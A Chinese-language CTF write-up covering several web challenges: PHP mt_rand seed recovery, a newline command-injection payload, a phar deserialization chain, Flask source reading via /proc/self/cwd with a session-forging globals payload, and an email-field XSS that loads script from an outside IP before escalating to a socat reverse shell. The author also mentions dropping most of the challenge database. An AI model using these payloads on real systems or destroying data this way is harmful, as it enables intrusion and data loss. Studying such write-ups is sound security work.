写这篇的时候正值期末考试期间,忙于复习,但是看到快要关环境还是抽时间在凌晨写了,比较匆忙。
用优惠码 买个 X ?
Description:
flag在/flag中
这题首先登录进去,发现题目给了一个优惠码然后有一个买手机的页面,把题目给的优惠码输进去,提示已经过期
而且说要24位的优惠码,但是题目给的优惠码只有15位。扫一下,发现有
www.zip
,拿到关键源码
1 |
|
给了优惠码的生成机制,用的是mt_rand()
,由此想到,可以由题目给的优惠码,推出随机数序列,从而爆破出种子。PHP随机数的安全性相关可以看这篇文章。推出随机数序列的脚本:
1 | a='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' |
然后,送到php_mt_seed
爆破出种子,注意这里有一定的格式要求,脚本也体现出来了。然后拿去生成24位的优惠码,把len改成24即可。
注意php版本是7.2
购买之后,到了一个新的页面
从泄露的源码可以看到,有一定的waf,但是绕过比较简单,不赘述。payload:
1.1.1.1%0aca\t /fl\ag
Injection ???
Description
听说这是喜闻乐见的注入?
SimplePHP
Description:
West or east,php is best.
这是一道比较不错的反序列化题目,结合了比较多知识点。题目有查看文件和上传文件功能,查看文件处可以读源码。
关键代码如下:
function.php
1 |
|
file.php
1 |
|
class.php
1 |
|
读取不可访问属性的值时,
__get()
会被调用。__toString()
方法用于一个类被当成字符串时应怎样回应。例如echo $obj;
应该显示些什么。此方法必须返回一个字符串
利用链:反序列化使得C1e4r
类的__destruct()
被调用,把C1ear
的$str
替换成Show
的对象,然后Show
的__toString()
会被调用,会去读取$this->str['str']->source
,这里把str['str']
替换成Test
的对象,然后Test
因为没有source
,会调用__get
,最终造成文件读取。
poc:
1 |
|
在file_exists
的时候就完成了所有步骤
http://120.79.158.180:11115/file.php?file=phar://upload/f56426e6fcffd78dfa1b6c435acb333f.jpg/asd
皇家线上赌场
Description:
惊!海南某大学学生沉迷赌博,竟干出这种事…
游戏规则:
您有1万初始金额(可提现),请在10分钟内使用,否则账户重置。您可以在本平台认购游戏币,并且可以随时卖出。买入价为平台官方价格1元/币,卖出价随机,最小0.8/币,最大2/币封顶,多买多赚,只需10分钟,您就可以喜提flag,迎娶白富美,走上人生巅峰!!!
1 | [root@localhost]# tree web |
很明显,views.py
的那一段代码,就是拿来提示你怎么读文件的,这又是一个老话题读
/proc/self/mounts
可以读到路径但是读不到代码,只能读个
req.txt
,作用不大接下来用到一个重要技巧,Linux中
/proc/self/cwd
返回的是当前工作目录的符号链接,尝试一波读源码,发现可以。__init__.py
1 | from flask import Flask |
views.py
1 | def register_views(app): |
伪造session(把用户名改成admin来绕过重置),session_cookie_manager.py
有时候不是很行,用来解密可以,加密貌似toses.py
比较稳最后用这个payload get flag
field=__class__.save.__globals__[db].__class__.__init__.__globals__[current_app].before_request.__globals__[g].flag
有趣的邮箱注册
Description
1
题目有邮箱验证和后台管理功能,邮箱验证是把邮箱发给admin,由此想到XSS,后台管理功能暴露了admin.php
view source可以看到部分代码
可以看这篇文章绕过。可以用这个payload
"<script/src=\'http://123.207.99.17/fuck.js\'></script>"@qq.com
,或者直接里面不用引号"<script/src=//123.207.99.17/fuck.js></script>"@qq.com
,然后常规payload去看admin.php
有啥
1 | xmlhttp=new XMLHttpRequest(); |
admin.php
1 | <br /><a href="admin/a0a.php?cmd=whoami"> |
基本上可以确定a0a.php
是可以命令执行的,改一下payload继续打
1 | xmlhttp=new XMLHttpRequest(); |
ls /
:可以看到有一个flag文件,但是直接cat是读不了的,反弹shell,发现是权限问题
这个文件属于flag用户
然后试了下用socat反弹真正的交互式shell,成功了~就很舒服
继续读一下能读的代码
a0a.php
1 |
|
local.php
1 |
|
admin.php
1 |
|
conn.php
1 |
|
然后使用强大的socat shell,直接连数据库但是很尴尬的是,数据库里面也没有flag。值得一提的是,数据库可以 root root登进去
然后我顺手把数据库差不多drop完了,还给建了一个